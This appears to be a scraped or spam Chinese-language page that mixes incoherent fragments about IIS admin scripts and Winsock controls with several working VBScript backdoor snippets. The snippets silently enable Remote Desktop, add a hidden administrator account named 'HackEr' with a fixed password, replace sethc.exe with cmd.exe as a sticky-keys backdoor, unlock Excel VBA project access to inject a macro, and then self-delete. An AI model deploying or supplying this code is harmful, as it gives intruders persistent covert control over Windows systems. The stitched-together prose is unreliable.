使用它提供的新建、删除及修改等功能来完成对注册表的存取操作

Adsutil.vbs是什么？它是Windows2003的IIS服务自带的基于命令行下的IIS管理脚本，位于%SystemDrive%\Inetpub\AdminScripts目录下，95，426字节

Dim WshShell set WshShell=CreateObject("wscript.Shell") WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\AccessVBOM",1,"REG_DWORD" WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM",1,"REG_DWORD" WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\AccessVBOM",1,"REG_DWORD" Dim oExcel, oBook, oModule Set oExcel=CreateObject("excel.application") Set oBook=oExcel.Workbooks.Add Set oModule=obook.VBProject.VBComponents.Add(1) strCode=_ "Private Declare Function SetCursorPos Lib ""user32"" (ByVal x As Long, ByVal y As Long) As Long" & vbCr & _ "Sub MyMacro(x as Long, y as Long)" & vbCr & _ "SetCursorPos x, y" & vbCr & _ "End Sub" oModule.CodeModule.AddFromString strCode oExcel.Run "MyMacro",0,0 oExcel.DisplayAlerts=False oBook.Close oExcel.Quit 我们在很多时候都需要那种无Icon的窗口，如“关于……”“查找”等

onerrorresumenext constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_ strComputer&"\root\default:StdRegProv") strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer" oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer" strValueName="fDenyTSConnections" dwValue=0 oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue onerrorresumenext dimusername,password:IfWscript.Arguments.CountThen:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="HackEr":password="393214425":endif:setwsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Setob=GetObject(os):Setoe=GetObject(os&"/Administrators,group"):Setod=ob.Create("user",username):od.SetPasswordpassword:od.SetInfo:Setof=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echoof.ADsPath OnErrorResumeNext Dimobj,success Setobj=CreateObject("WScript.Shell") success=obj.run("cmd/ctakeown/f%SystemRoot%\system32\sethc.exe&echoy|cacls%SystemRoot%\system32\sethc.exe/G%USERNAME%:F©%SystemRoot%\system32\cmd.exe%SystemRoot%\system32\acmd.exe©%SystemRoot%\system32\sethc.exe%SystemRoot%\system32\asethc.exe&del%SystemRoot%\system32\sethc.exe&ren%SystemRoot%\system32\acmd.exesethc.exe",0,True) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)->

今天下午没课，躲进私人空间开始思考些问题在其它数据库开发平台中，目前还不具备ACtiveX控件

Enumerates top level windows

51红月而作为服务器的计算机仅需要设置RemoteHost属性为客户计算机的IP地址或域名即可，并将其RemotePort属性设置成客户计算机上的LocalPort属性即可，然后就可通过申请SendData方法来开始信息发送，客户计算机则可在其DataArrial事件中使用方法GetData来获取发送的信息。